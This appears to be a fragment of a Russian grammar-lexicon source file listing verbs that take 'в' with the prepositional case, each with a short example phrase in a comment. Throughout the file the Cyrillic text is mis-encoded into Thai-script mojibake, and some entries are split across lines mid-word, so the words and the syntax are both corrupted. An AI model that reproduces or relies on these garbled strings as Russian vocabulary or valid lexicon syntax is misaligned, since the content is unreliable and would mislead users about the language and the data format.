rus_verbs:ะพะถะธะฒะฐัั{}, // ะพะถะธะฒะฐัั ะฒ ัะตะฟะปะพะน ะฒะพะดะต
rus_verbs:ะทะฐะณะปะพั
ะฝััั{}, // ะทะฐะณะปะพั
ะฝััั ะฒ ะฟะพะปะตัะต
rus_verbs:ะบะพะปัะฝััั{}, // ะบะพะปัะฝััั ะฒ ะฑะพะบั
rus_verbs:ะบะพะฟะฐัััั{}, // ะบะพะฟะฐัััั ะฒ ะบััะต
rus_verbs:ัะฐะทะฒะปะตะบะฐัััั{}, // ัะฐะทะฒะปะตะบะฐัััั ะฒ ะบะปัะฑะต
rus_verbs:ะพัะปะธะฒะฐัั{}, // ะพัะปะธะฒะฐัั ะฒ ะบัััะฐั
rus_verbs:ะทะฐะถะธัั{}, // ะทะฐะถะธัั ะฒ ะดะตัะตะฒะฝะต
rus_verbs:ะพะดะพะปะถะธัั{}, // ะพะดะพะปะถะธัั ะฒ ัะพัะตะดะฝะตะผ ะบะฐะฑะธะฝะตัะต
rus_verbs:ะทะฐะบะปะธะฝะฐัั{}, // ะทะฐะบะปะธะฝะฐัั ะฒ ัะฒะพะตะน ัะตัะธ
rus_verbs:ัะฐะทะปะธัะฐัััั{}, // ัะฐะทะปะธัะฐัััั ะฒ ะผะตะปะพัะฐั
rus_verbs:ะฟะตัะฐัะฐัััั{}, // ะฟะตัะฐัะฐัััั ะฒ ัะธะฟะพะณัะฐัะธะธ
rus_verbs:ัะณะฐะดัะฒะฐัััั{}, // ัะณะฐะดัะฒะฐัััั ะฒ ะบะพะฝัััะฐั
rus_verbs:ะพะฑััะฒะฐัั{}, // ะพะฑััะฒะฐัั ะฒ ะฝะฐัะฐะปะต
rus_verbs:ะฟะพะณะปะฐะถะธะฒะฐัั{}, // ะฟะพะณะปะฐะถะธะฒะฐัั ะฒ ะบะฐัะผะฐะฝะต
rus_verbs:ะฟะพะดะฟะธััะฒะฐัั{}, // ะฟะพะดะฟะธััะฒะฐัั ะฒ ะฟัะธัััััะฒะธะธ ะฟะพะฝัััั
rus_verbs:ะดะพะฑัะฒะฐัั{}, // ะดะพะฑัะฒะฐัั ะฒ ัะฐะทะปะพะผะต
rus_verbs:ัะบะพะฟะธัััั{}, // ัะบะพะฟะธัััั ะฒ ะฒะพัะพัะฐั
rus_verbs:ะฟะพะฒัััะตัะฐัั{}, // ะฟะพะฒัััะตัะฐัั ะฒ ะฑะฐะฝะต
rus_verbs:ัะพะฒะฟะฐััั{}, // ัะพะฒะฟะฐััั ะฒ ัะฟัะพัะตะฝะฝะพะผ ะฒะธะดะต
rus_verbs:ัะฐะทััะฒะฐัััั{}, // ัะฐะทััะฒะฐัััั ะฒ ัะพัะบะต ัะฟะฐะนะบะธ
rus_verbs:ัะปะฐะฒะปะธะฒะฐัั{}, // ัะปะฐะฒะปะธะฒะฐัั ะฒ ะดะฐััะธะบะต
rus_verbs:ะฟะพะฒัััะตัะฐัััั{}, // ะฟะพะฒัััะตัะฐัััั ะฒ ะปะธััะต
rus_verbs:ะพััะฐะทะธัั{}, // ะพััะฐะทะธัั ะฒ ะพััะตัะต
rus_verbs:ะฟะพััะฝััั{}, // ะฟะพััะฝััั ะฒ ะฟัะธะผะตัะฐะฝะธัั
rus_verbs:ะฝะฐะบะพัะผะธัั{}, // ะฝะฐะบะพัะผะธัั ะฒ ััะพะปะพะฒะบะต
rus_verbs:ะฟะพัะถะธะฝะฐัั{}, // ะฟะพัะถะธะฝะฐัั ะฒ ัะตััะพัะฐะฝะต
ะธะฝัะธะฝะธัะธะฒ:ัะฟะตัั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะฟะตัั{ ะฒะธะด:ัะพะฒะตัั }, // ัะฟะตัั ะฒ ััะดะต
ะธะฝัะธะฝะธัะธะฒ:ัะฟะตัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะฟะตัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
rus_verbs:ัะพะฟะธัั{}, // ัะพะฟะธัั ะฒ ะผะพะปะพะบะต
rus_verbs:ะพัะฒะพะธัั{}, // ะพัะฒะพะธัั ะฒ ัะฐะฑะพัะต
rus_verbs:ะทะฐัะพะดะธัััั{}, // ะทะฐัะพะดะธัััั ะฒ ะณะพะปะพะฒะต
rus_verbs:ะพัะฟะปััั{}, // ะพัะฟะปััั ะฒ ััะฐัะพะน ะปะพะดะบะต
rus_verbs:ะพัััะฐะธะฒะฐัั{}, // ะพัััะฐะธะฒะฐัั ะฒ ััะดะต
rus_verbs:ะพััะถะดะฐัั{}, // ะพััะถะดะฐัั ะฒ ัะฒะพะตะผ ะฒััััะฟะปะตะฝะธะธ
rus_verbs:ะฟะตัะตะณะพะฒะพัะธัั{}, // ะฟะตัะตะณะพะฒะพัะธัั ะฒ ะฟะตัะตััะฒะต
rus_verbs:ัะฐะทะณะพัะฐัััั{}, // ัะฐะทะณะพัะฐัััั ะฒ ัะตัะดัะต
rus_verbs:ัะบัััั{}, // ัะบัััั ะฒ ัะฐะปะฐัะต
rus_verbs:ัะพะผะธัััั{}, // ัะพะผะธัััั ะฒ ะทะฐััะตะฝะบะฐั
rus_verbs:ะบะปัะฑะธัััั{}, // ะบะปัะฑะธัััั ะฒ ะฒะพะทะดัั
ะต
rus_verbs:ัะถะธะณะฐัั{}, // ัะถะธะณะฐัั ะฒ ัะพะฟะบะต
rus_verbs:ะฟะพะทะฐะฒััะฐะบะฐัั{}, // ะฟะพะทะฐะฒััะฐะบะฐัั ะฒ ะบะฐัะตัะบะต
rus_verbs:ััะฝะบัะธะพะฝะธัะพะฒะฐัั{}, // ััะฝะบัะธะพะฝะธัะพะฒะฐัั ะฒ ะปะฐะฑะพัะฐัะพัะฝัั
ััะปะพะฒะธัั
rus_verbs:ัะผััั{}, // ัะผััั ะฒ ััะบะต
rus_verbs:ัะฐะทะผะตััะธัั{}, // ัะฐะทะผะตััะธัั ะฒ ะธะฝัะตัะฝะตัะต
rus_verbs:ะฟัะพะฝะตััะธ{}, // ะฟัะพะฝะตััะธ ะฒ ะฟะพัะฐะนะฝะพะผ ะบะฐัะผะฐะฝะต
rus_verbs:ััะบะพะฒะพะดััะฒะพะฒะฐัััั{}, // ััะบะพะฒะพะดััะฒะพะฒะฐัััั ะฒ ัะฐะฑะพัะต
rus_verbs:ะฝะฐัะฐัะธัั{}, // ะฝะฐัะฐัะธัั ะฒ ะฟะพัะตะผะบะฐั
rus_verbs:ะทะฐะบัััะธัั{}, // ะทะฐะบัััะธัั ะฒ ะฒะธั
ัะต
rus_verbs:ะฟัะพัะผะฐััะธะฒะฐัััั{}, // ะฟัะพัะผะฐััะธะฒะฐัััั ะฒ ะดะฐะปัะฝะตะน ะฟะตััะฟะตะบัะธะฒะต
rus_verbs:ัะฐัะฟะพะทะฝะฐัั{}, // ัะฐัะฟะพะทะฝะฐัั ะฒ ะฝะตะทะฝะฐะบะพะผัะต
rus_verbs:ะฟะพะฒะตัะธัััั{}, // ะฟะพะฒะตัะธัััั ะฒ ะบะฐะผะตัะต
rus_verbs:ะพะฑัะฐัะธัั{}, // ะพะฑัะฐัะธัั ะฒ ะฟะพะธัะบะฐั
ะฝะฐัะบะพัะธะบะพะฒ
rus_verbs:ะฝะฐะฟะพะปะฝััััั{}, // ะฝะฐะฟะพะปะฝัะตััั ะฒ ะบะฐััะตัะต
rus_verbs:ะทะฐัะฒะธััะตัั{}, // ะทะฐัะฒะธััะตัั ะฒ ะฒะพะทะดัั
ะต
rus_verbs:ะฟัะพัะฒะตัะฐัั{}, // ะฟัะพัะฒะตัะฐัั ะฒ ะผัะณะบะพะผ ะบะปะธะผะฐัะต
rus_verbs:ััััะฐัั{}, // ััััะฐัั ะฒ ะฟัะพััะตะฝะบะต
rus_verbs:ะฟะพะดั
ะฒะฐััะฒะฐัั{}, // ะฟะพะดั
ะฒะฐััะฒะฐัั ะฒ ะฟะพะปะตัะต
ะธะฝัะธะฝะธัะธะฒ:ัะพะธัััั{}, ะณะปะฐะณะพะป:ัะพะธัััั{}, // ัะพะธัััั ะฒ ะฒะพะทะดัั
ะต
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะพะธะฒัะธะนัั{}, ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะพััะธะนัั{},
// ะดะตะตะฟัะธัะฐััะธะต:ัะพััั{ aux stress="ัะพ^ััั" },
rus_verbs:ะฟัะตะพะฑะปะฐะดะฐัั{}, // ะฟัะตะพะฑะปะฐะดะฐัั ะฒ ัะตะบััะต
rus_verbs:ะฟะพัะฒะตัะปะตัั{}, // ะฟะพัะฒะตัะปะตัั ะฒ ะปะธัะต
rus_verbs:ะธะณะฝะพัะธัะพะฒะฐัั{}, // ะธะณะฝะพัะธัะพะฒะฐัั ะฒ ัะตะบะพะผะตะฝะดะฐัะธัั
rus_verbs:ะพะฑััะถะดะฐัััั{}, // ะพะฑััะถะดะฐัััั ะฒ ะบัะปัะฐัะฐั
rus_verbs:ะพัะบะฐะทัะฒะฐัั{}, // ะพัะบะฐะทัะฒะฐัั ะฒ ะฒะธะทะต
rus_verbs:ะพััะฟัะฒะฐัั{}, // ะพััะฟัะฒะฐัั ะฒ ะบะฐัะผะฐะฝะต
rus_verbs:ัะฐะทะปะธะฒะฐัััั{}, // ัะฐะทะปะธะฒะฐัััั ะฒ ัะตั
ั
rus_verbs:ัะฐัะฟะธัะฐัััั{}, // ัะฐัะฟะธัะฐัััั ะฒ ะฟะพะปััะตะฝะธะธ
rus_verbs:ััะธะฝะธัั{}, // ััะธะฝะธัั ะฒ ะบะฐะทะฐัะผะต
rus_verbs:ะฟะปะตััะธัั{}, // ะฟะปะตััะธัั ะฒ ั
ะฒะพััะต
rus_verbs:ะพะฑััะฒะปััััั{}, // ะพะฑััะฒะปััััั ะฒ ะณััะฟะฟะต
rus_verbs:ะฟะพะฒััะฐัััั{}, // ะฟะพะฒััะฐัััั ะฒ ะฟะตัะฒะพะน ัะฐััะธ
rus_verbs:ะฝะฐะฟััะณะฐัั{}, // ะฝะฐะฟััะณะฐัั ะฒ ะฟะฐั
ั
rus_verbs:ัะฐะทัะฐะฑะฐััะฒะฐัั{}, // ัะฐะทัะฐะฑะฐััะฒะฐัั ะฒ ัััะดะธะธ
rus_verbs:ั
ะปะพะฟะพัะฐัั{}, // ั
ะปะพะฟะพัะฐัั ะฒ ะผััะธะธ
rus_verbs:ะฟัะตััะฒะฐัั{}, // ะฟัะตััะฒะฐัั ะฒ ัะฐะผะพะผ ะฝะฐัะฐะปะต
rus_verbs:ะบะฐััััั{}, // ะบะฐััััั ะฒ ะณัะตั
ะฐั
rus_verbs:ะพัะฒะพะธัััั{}, // ะพัะฒะพะธัััั ะฒ ะบะฐะฑะธะฝะต
rus_verbs:ะฟะพะดะฟะปััั{}, // ะฟะพะดะฟะปััั ะฒ ะปะพะดะบะต
rus_verbs:ะทะฐะผะธะณะฐัั{}, // ะทะฐะผะธะณะฐัั ะฒ ัะตะผะฝะพัะต
rus_verbs:ะพัะบะพัะฑะปััั{}, // ะพัะบะพัะฑะปััั ะฒ ะฒััััะฟะปะตะฝะธะธ
rus_verbs:ัะพัะถะตััะฒะพะฒะฐัั{}, // ัะพัะถะตััะฒะพะฒะฐัั ะฒ ะดััะต
rus_verbs:ะฟะพะฟัะฐะฒะปััั{}, // ะฟะพะฟัะฐะฒะปััั ะฒ ะฟัะพะปะพะณะต
rus_verbs:ัะณะฐะดัะฒะฐัั{}, // ัะณะฐะดัะฒะฐัั ะฒ ัะฐะทะผััะพะผ ะธะทะพะฑัะฐะถะตะฝะธะธ
rus_verbs:ะฟะพัะพะฟัะฐัััั{}, // ะฟะพัะพะฟัะฐัััั ะฒ ะฟัะธั
ะพะถะตะน
rus_verbs:ะฟะตัะตะฟัะฐะฒะธัััั{}, // ะฟะตัะตะฟัะฐะฒะธัััั ะฒ ะปะพะดะพัะบะต
rus_verbs:ัะฒะตัะธัััั{}, // ัะฒะตัะธัััั ะฒ ะฝะตะฒะธะฝะพะฒะฝะพััะธ
rus_verbs:ะทะฐะฑัะตะทะถะธัั{}, // ะทะฐะฑัะตะทะถะธัั ะฒ ะบะพะฝัะต ัะพะฝะฝะตะปั
rus_verbs:ััะฒะตัะดะธัััั{}, // ััะฒะตัะดะธัััั ะฒะพ ะผะฝะตะฝะธะธ
rus_verbs:ะทะฐะฒัะฒะฐัั{}, // ะทะฐะฒัะฒะฐัั ะฒ ัััะฑะต
rus_verbs:ะทะฐะฒะฐัะธัั{}, // ะทะฐะฒะฐัะธัั ะฒ ะทะฐะฒะฐัะฝะธะบะต
rus_verbs:ัะบะพะผะบะฐัั{}, // ัะบะพะผะบะฐัั ะฒ ััะบะต
rus_verbs:ะฟะตัะตะผะตัะฐัััั{}, // ะฟะตัะตะผะตัะฐัััั ะฒ ะบะฐะฟััะปะต
ะธะฝัะธะฝะธัะธะฒ:ะฟะธัะฐัััั{ aux stress="ะฟะธั^ะฐัััั" }, ะณะปะฐะณะพะป:ะฟะธัะฐัััั{ aux stress="ะฟะธั^ะฐัััั" }, // ะฟะธัะฐัััั ะฒ ะฟะตัะฒะพะผ ะฟะพะปะต
rus_verbs:ะฟัะฐะทะดะฝะพะฒะฐัั{}, // ะฟัะฐะทะดะฝะพะฒะฐัั ะฒ ะฑะฐัะต
rus_verbs:ะผะธะณะฐัั{}, // ะผะธะณะฐัั ะฒ ัะตะผะฝะพัะต
rus_verbs:ะพะฑััะธัั{}, // ะพะฑััะธัั ะฒ ะผะฐััะตััะบะพะน
rus_verbs:ะพััะดะพะฒะฐัั{}, // ะพััะดะพะฒะฐัั ะฒ ะบะปะฐะดะพะฒะบะต
rus_verbs:ัะฟะพัััะฒะพะฒะฐัั{}, // ัะฟะพัััะฒะพะฒะฐัั ะฒ ะทะฐะฑะปัะถะดะตะฝะธะธ
rus_verbs:ะฟะตัะตะผะธะฝะฐัััั{}, // ะฟะตัะตะผะธะฝะฐัััั ะฒ ะฟัะธั
ะพะถะตะน
rus_verbs:ะฟะพะดัะฐััะธ{}, // ะฟะพะดัะฐััะธ ะฒ ัะตะฟะปะธัะต
rus_verbs:ะฟัะตะดะฟะธััะฒะฐัััั{}, // ะฟัะตะดะฟะธััะฒะฐัััั ะฒ ะทะฐะบะพะฝะต
rus_verbs:ะฟัะธะฟะธัะฐัั{}, // ะฟัะธะฟะธัะฐัั ะฒ ะบะพะฝัะต
rus_verbs:ะทะฐะดะฐะฒะฐัััั{}, // ะทะฐะดะฐะฒะฐัััั ะฒ ัะฒะพะตะน ััะฐััะต
rus_verbs:ัะธะฝะธัั{}, // ัะธะฝะธัั ะฒ ะดะพะผะฐัะฝะธั
ััะปะพะฒะธัั
rus_verbs:ัะฐะทะดะตะฒะฐัััั{}, // ัะฐะทะดะตะฒะฐัััั ะฒ ะฟะปัะถะฝะพะน ะบะฐะฑะธะฝะบะต
rus_verbs:ะฟะพะพะฑะตะดะฐัั{}, // ะฟะพะพะฑะตะดะฐัั ะฒ ัะตััะพัะฐะฝัะธะบะต
rus_verbs:ะถัะฐัั{}, // ะถัะฐัั ะฒ ััะปะฐะฝัะธะบะต
rus_verbs:ะธัะฟะพะปะฝััััั{}, // ะธัะฟะพะปะฝััััั ะฒ ะฐะฝััะฐะบัะต
rus_verbs:ะณะฝะธัั{}, // ะณะฝะธัั ะฒ ััััะผะต
rus_verbs:ะณะปะพะดะฐัั{}, // ะณะปะพะดะฐัั ะฒ ะบะพะฝััะต
rus_verbs:ะฟัะพัะปััะฐัั{}, // ะฟัะพัะปััะฐัั ะฒ ะดะพัะพะณะต
rus_verbs:ะธัััะฐัะธัั{}, // ะธัััะฐัะธัั ะฒ ะบะฐะฑะฐะบะต
rus_verbs:ััะฐัะตัั{}, // ััะฐัะตัั ะฒ ะพะดะธะฝะพัะตััะฒะต
rus_verbs:ัะฐะทะถะตัั{}, // ัะฐะทะถะตัั ะฒ ัะตัะดัะต
rus_verbs:ัะพะฒะตัะฐัััั{}, // ัะพะฒะตัะฐัััั ะฒ ะบะฐะฑะธะฝะตัะต
rus_verbs:ะฟะพะบะฐัะธะฒะฐัั{}, // ะฟะพะบะฐัะธะฒะฐัั ะฒ ะบัะพะฒะฐัะบะต
rus_verbs:ะพััะธะดะตัั{}, // ะพััะธะดะตัั ะฒ ะพะดะธะฝะพัะบะต
rus_verbs:ัะพัะผะธัะพะฒะฐัั{}, // ัะพัะผะธัะพะฒะฐัั ะฒ ัะผะฐั
rus_verbs:ะทะฐั
ัะฐะฟะตัั{}, // ะทะฐั
ัะฐะฟะตัั ะฒะพ ัะฝะต
rus_verbs:ะฟะตัััั{}, // ะฟะตัััั ะฒ ั
ะพัะต
rus_verbs:ะพะฑัะตั
ะฐัั{}, // ะพะฑัะตั
ะฐัั ะฒ ะฐะฒัะพะฑััะต
rus_verbs:ะฟะพัะตะปะธัั{}, // ะฟะพัะตะปะธัั ะฒ ะณะพััะธะฝะธัะต
rus_verbs:ะฟัะตะดะฐัััั{}, // ะฟัะตะดะฐัััั ะฒ ะบะฝะธะณะต
rus_verbs:ะทะฐะฒะพัะพัะฐัััั{}, // ะทะฐะฒะพัะพัะฐัััั ะฒะพ ัะฝะต
rus_verbs:ะฝะฐะฟัััะฐัั{}, // ะฝะฐะฟัััะฐัั ะฒ ะบะฐัะผะฐะฝะฐั
rus_verbs:ะพััั
ะฐัััั{}, // ะพััั
ะฐัััั ะฒ ะฝะตะทะฝะฐะบะพะผะพะผ ะผะตััะต
rus_verbs:ะพะณัะฐะฝะธัะธะฒะฐัั{}, // ะพะณัะฐะฝะธัะธะฒะฐัั ะฒ ะดะฒะธะถะตะฝะธัั
rus_verbs:ะทะฐะฒะตััะตัั{}, // ะทะฐะฒะตััะตัั ะฒ ััะบะฐั
rus_verbs:ะฟะตัะฐัะฐัั{}, // ะฟะตัะฐัะฐัั ะฒ ัะตะดะฐะบัะพัะต
rus_verbs:ัะตะฟะปะธัััั{}, // ัะตะฟะปะธัััั ะฒ ัะตัะดัะต
rus_verbs:ัะฒัะทะฝััั{}, // ัะฒัะทะฝััั ะฒ ะทัะฑััะตะผ ะฟะตัะบะต
rus_verbs:ััะผะพััะตัั{}, // ััะผะพััะตัั ะฒ ะพะฑัะฐัะตะฝะธะธ
rus_verbs:ะพัััะบะฐัััั{}, // ะพัััะบะฐัััั ะฒ ะทะฐะฟะฐัะฐั
rus_verbs:ะฟะพัััะธัั{}, // ะฟะพัััะธัั ะฒ ะณะพัะปะต ะพะณะพะฝั
rus_verbs:ะฟะพัะฑะฐะฒะธัััั{}, // ะฟะพัะฑะฐะฒะธัััั ะฒ ัะฐะทะผะตัะต
rus_verbs:ะทะฐัะธะบัะธัะพะฒะฐัั{}, // ะทะฐัะธะบัะธัะพะฒะฐัั ะฒ ะฟะพััะพัะฝะฝะพะน ะฟะฐะผััะธ
rus_verbs:ัะผััั{}, // ัะผััั ะฒ ะฒะฐะฝะฝะพะน
rus_verbs:ะทะฐะผะตััะธัั{}, // ะทะฐะผะตััะธัั ะฒ ะบัะตัะปะต
rus_verbs:ัะณะฐัะฐัั{}, // ัะณะฐัะฐัั ะฒ ะพะดะธะฝะพัะตััะฒะต
rus_verbs:ััะฐะทะธัั{}, // ััะฐะทะธัั ะฒ ัะฟะพัะต
rus_verbs:ัะธะณััะธัะพะฒะฐัั{}, // ัะธะณััะธัะพะฒะฐัั ะฒ ะฑัะปะปะตัะตะฝะต
rus_verbs:ัะฐัะฟะปัะฒะฐัััั{}, // ัะฐัะฟะปัะฒะฐัััั ะฒ ะณะปะฐะทะฐั
rus_verbs:ัะพััะธัะฐัั{}, // ัะพััะธัะฐัั ะฒ ัะผะต
rus_verbs:ัะณัััะธัััั{}, // ัะณัััะธัััั ะฒ ะฒะพะทะดัั
ะต
rus_verbs:ัะธัะธัะพะฒะฐัั{}, // ัะธัะธัะพะฒะฐัั ะฒ ัะฒะพะตะน ััะฐััะต
rus_verbs:ะฟะพะผััััั{}, // ะฟะพะผััััั ะฒ ะดะฐะฒะบะต
rus_verbs:ะทะฐััะฐะณะธะฒะฐัั{}, // ะทะฐััะฐะณะธะฒะฐัั ะฒ ะฟัะพัะตััะต ะฒัะฟะพะปะฝะตะฝะธั
rus_verbs:ะพะฑัะตัะตัั{}, // ะพะฑัะตัะตัั ะฒ ะณะฐัะฐะถะต
rus_verbs:ะฟะพะดัััะตะปะธัั{}, // ะฟะพะดัััะตะปะธัั ะฒ ะฟะพะนะผะต ัะตะบะธ
rus_verbs:ัะฐััะตัะตัั{}, // ัะฐััะตัะตัั ะฒ ััะบะต
rus_verbs:ะฟะพะดะฐะฒะปััั{}, // ะฟะพะดะฐะฒะปััั ะฒ ะทะฐัะพะดััะต
rus_verbs:ัะผะตัะธะฒะฐัััั{}, // ัะผะตัะธะฒะฐัััั ะฒ ัะฐะฝะต
ะธะฝัะธะฝะธัะธะฒ:ะฒััะธัะฐัั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ะฒััะธัะฐัั{ ะฒะธะด:ัะพะฒะตัั }, // ะฒััะธัะฐัั ะฒ ะบะฝะธะถะตัะบะต
rus_verbs:ัะพะบัะฐัะธัััั{}, // ัะพะบัะฐัะธัััั ะฒ ะพะฑั
ะฒะฐัะต
rus_verbs:ะทะฐะฝะตัะฒะฝะธัะฐัั{}, // ะทะฐะฝะตัะฒะฝะธัะฐัั ะฒ ะบะฐะฑะธะฝะตัะต
rus_verbs:ัะพะฟัะธะบะพัะฝััััั{}, // ัะพะฟัะธะบะพัะฝััััั ะฒ ะฟะพะปะตัะต
rus_verbs:ะพะฑะพะทะฝะฐัะธัั{}, // ะพะฑะพะทะฝะฐัะธัั ะฒ ะพะฑััะฒะปะตะฝะธะธ
rus_verbs:ะพะฑััะฐัััั{}, // ะพะฑััะฐัััั ะฒ ััะธะปะธัะต
rus_verbs:ัะฝะธะทะธัััั{}, // ัะฝะธะทะธัััั ะฒ ะฝะธะถะฝะธั
ัะปะพัั
ะฐัะผะพััะตัั
rus_verbs:ะปะตะปะตััั{}, // ะปะตะปะตััั ะฒ ัะตัะดัะต
rus_verbs:ะฟะพะดะดะตัะถะธะฒะฐัััั{}, // ะฟะพะดะดะตัะถะธะฒะฐัััั ะฒ ััะดะต
rus_verbs:ัะฟะปััั{}, // ัะฟะปััั ะฒ ะปะพะดะพัะบะต
rus_verbs:ัะตะทะฒะธัััั{}, // ัะตะทะฒะธัััั ะฒ ัะฐะดั
rus_verbs:ะฟะพะตัะทะฐัั{}, // ะฟะพะตัะทะฐัั ะฒ ะณะฐะผะฐะบะต
rus_verbs:ะพะฟะปะฐัะธัั{}, // ะพะฟะปะฐัะธัั ะฒ ัะตััะพัะฐะฝะต
rus_verbs:ะฟะพั
ะฒะฐััะฐัััั{}, // ะฟะพั
ะฒะฐััะฐัััั ะฒ ะบะพะผะฟะฐะฝะธะธ
rus_verbs:ะทะฝะฐะบะพะผะธัััั{}, // ะทะฝะฐะบะพะผะธัััั ะฒ ะบะปะฐััะต
rus_verbs:ะฟัะธะฟะปััั{}, // ะฟัะธะฟะปััั ะฒ ะฟะพะดะฒะพะดะฝะพะน ะปะพะดะบะต
rus_verbs:ะทะฐะถะธะณะฐัั{}, // ะทะฐะถะธะณะฐัั ะฒ ะบะปะฐััะต
rus_verbs:ัะผััะปะธัั{}, // ัะผััะปะธัั ะฒ ะผะฐัะตะผะฐัะธะบะต
rus_verbs:ะทะฐะบะพะฟะฐัั{}, // ะทะฐะบะพะฟะฐัั ะฒ ะพะณะพัะพะดะต
rus_verbs:ะฟะพัั
ะฐัั{}, // ะฟะพัั
ะฐัั ะฒ ะทะฐัะพัะปัั
rus_verbs:ะฟะพัะพะฝััั{}, // ะฟะพัะพะฝััั ะฒ ะฑัะผะฐะถะบะฐั
rus_verbs:ััะธัะฐัั{}, // ััะธัะฐัั ะฒ ั
ะพะปะพะดะฝะพะน ะฒะพะดะต
rus_verbs:ะฟะพะดััะตัะตะณะฐัั{}, // ะฟะพะดััะตัะตะณะฐัั ะฒ ะฟัะธะดะพัะพะถะฝัั
ะบัััะฐั
rus_verbs:ะฟะพะณัะปััั{}, // ะฟะพะณัะปััั ะฒ ะฟะฐัะบะต
rus_verbs:ะฟัะตะดะฒะบััะฐัั{}, // ะฟัะตะดะฒะบััะฐัั ะฒ ะฒะพะพะฑัะฐะถะตะฝะธะธ
rus_verbs:ะพัะตะปะพะผะธัั{}, // ะพัะตะปะพะผะธัั ะฒ ะฑะพั
rus_verbs:ัะดะพััะพะฒะตัะธัััั{}, // ัะดะพััะพะฒะตัะธัััั ะฒ ะฑะตะทะพะฟะฐัะฝะพััะธ
rus_verbs:ะพะณะปะฐัะธัั{}, // ะพะณะปะฐัะธัั ะฒ ะทะฐะบะปััะธัะตะปัะฝะพะน ัะฐััะธ
rus_verbs:ัะฐะทะฑะพะณะฐัะตัั{}, // ัะฐะทะฑะพะณะฐัะตัั ะฒ ะดะตัะตะฒะฝะต
rus_verbs:ะณัะพั
ะพัะฐัั{}, // ะณัะพั
ะพัะฐัั ะฒ ะผะฐััะตััะบะพะน
rus_verbs:ัะตะฐะปะธะทะพะฒะฐัััั{}, // ัะตะฐะปะธะทะพะฒะฐัััั ะฒ ะดะพะปะถะฝะพััะธ
rus_verbs:ะบัะฐััั{}, // ะบัะฐััั ะฒ ะผะฐะณะฐะทะธะฝะต
rus_verbs:ะฝะฐัะฒะฐัััั{}, // ะฝะฐัะฒะฐัััั ะฒ ะบะพัะธะดะพัะต
rus_verbs:ะทะฐัััะฒะฐัั{}, // ะทะฐัััะฒะฐัั ะฒ ะฝะตัะดะพะฑะฝะพะน ะฟะพะทะต
rus_verbs:ัะพะปะบะฐัััั{}, // ัะพะปะบะฐัััั ะฒ ัะตัะฝะพะน ะบะพะผะฝะฐัะต
rus_verbs:ะธะทะฒะปะตะบะฐัั{}, // ะธะทะฒะปะตะบะฐัั ะฒ ะฐะฟะฟะฐัะฐัะต
rus_verbs:ะพะฑะถะธะณะฐัั{}, // ะพะฑะถะธะณะฐัั ะฒ ะฟะตัะธ
rus_verbs:ะทะฐะฟะตัะฐัะปะตัั{}, // ะทะฐะฟะตัะฐัะปะตัั ะฒ ะบะธะฝะพั
ัะพะฝะธะบะต
rus_verbs:ััะตะฝะธัะพะฒะฐัััั{}, // ััะตะฝะธัะพะฒะฐัััั ะฒ ะทะฐะปะต
rus_verbs:ะฟะพัะฟะพัะธัั{}, // ะฟะพัะฟะพัะธัั ะฒ ะบะฐะฑะธะฝะตัะต
rus_verbs:ัััะบะฐัั{}, // ัััะบะฐัั ะฒ ะปะตัั
rus_verbs:ะฝะฐะดััะฒะฐัััั{}, // ะฝะฐะดััะฒะฐัััั ะฒ ัะฐั
ัะต
rus_verbs:ัะฝััััั{}, // ัะฝััััั ะฒ ัะธะปัะผะต
rus_verbs:ะทะฐะบััะถะธัั{}, // ะทะฐะบััะถะธัั ะฒ ัะฐะฝัะต
rus_verbs:ะทะฐัะพะฝััั{}, // ะทะฐัะพะฝััั ะฒ ะฟะพััั
rus_verbs:ะฟะพะฑััั{}, // ะฟะพะฑััั ะฒ ะณะพัััั
rus_verbs:ะฟะพัะธััะธัั{}, // ะฟะพัะธััะธัั ะฒ ะฝะพัั
rus_verbs:ัะณะพัะฑะธัััั{}, // ัะณะพัะฑะธัััั ะฒ ัะตัะฝะพะน ะบะพะฝััะต
rus_verbs:ะฟะพะดัะปััะธะฒะฐัั{}, // ะฟะพะดัะปััะธะฒะฐัั ะฒ ะบะปะฐััะต
rus_verbs:ัะณะพัะฐัั{}, // ัะณะพัะฐัั ะฒ ัะฐะฝะบะต
rus_verbs:ัะฐะทะพัะฐัะพะฒะฐัััั{}, // ัะฐะทะพัะฐัะพะฒะฐัััั ะฒ ะฐััะธััะต
ะธะฝัะธะฝะธัะธะฒ:ะฟะพะฟะธัะฐัั{ aux stress="ะฟะพะฟ^ะธัะฐัั" }, ะณะปะฐะณะพะป:ะฟะพะฟะธัะฐัั{ aux stress="ะฟะพะฟ^ะธัะฐัั" }, // ะฟะพะฟะธัะฐัั ะฒ ะบัััะธะบะฐั
rus_verbs:ะผััั{}, // ะผััั ะฒ ััะบะฐั
rus_verbs:ะฟะพะดัะฐัััั{}, // ะฟะพะดัะฐัััั ะฒ ะบะปะฐััะต
rus_verbs:ะทะฐะผะตััะธ{}, // ะทะฐะผะตััะธ ะฒ ะฟัะธั
ะพะถะตะน
rus_verbs:ะพัะบะปะฐะดัะฒะฐัััั{}, // ะพัะบะปะฐะดัะฒะฐัััั ะฒ ะฟะตัะตะฝะธ
rus_verbs:ะพะฑะพะทะฝะฐัะฐัััั{}, // ะพะฑะพะทะฝะฐัะฐัััั ะฒ ะฟะตัะตัะฝะต
rus_verbs:ะฟัะพัะธะถะธะฒะฐัั{}, // ะฟัะพัะธะถะธะฒะฐัั ะฒ ะธะฝัะตัะฝะตัะต
rus_verbs:ัะพะฟัะธะบะฐัะฐัััั{}, // ัะพะฟัะธะบะฐัะฐัััั ะฒ ัะพัะบะต
rus_verbs:ะฝะฐัะตััะธัั{}, // ะฝะฐัะตััะธัั ะฒ ัะตััะฐะดะบะต
rus_verbs:ัะผะตะฝััะฐัั{}, // ัะผะตะฝััะฐัั ะฒ ะฟะพะฟะตัะตัะฝะธะบะต
rus_verbs:ัะพัะผะพะทะธัั{}, // ัะพัะผะพะทะธัั ะฒ ะพะฑะปะฐะบะต
rus_verbs:ะทะฐัะตะฒะฐัั{}, // ะทะฐัะตะฒะฐัั ะฒ ะปะฐะฑะพัะฐัะพัะธะธ
rus_verbs:ะทะฐัะพะฟะธัั{}, // ะทะฐัะพะฟะธัั ะฒ ะฑัั
ัะต
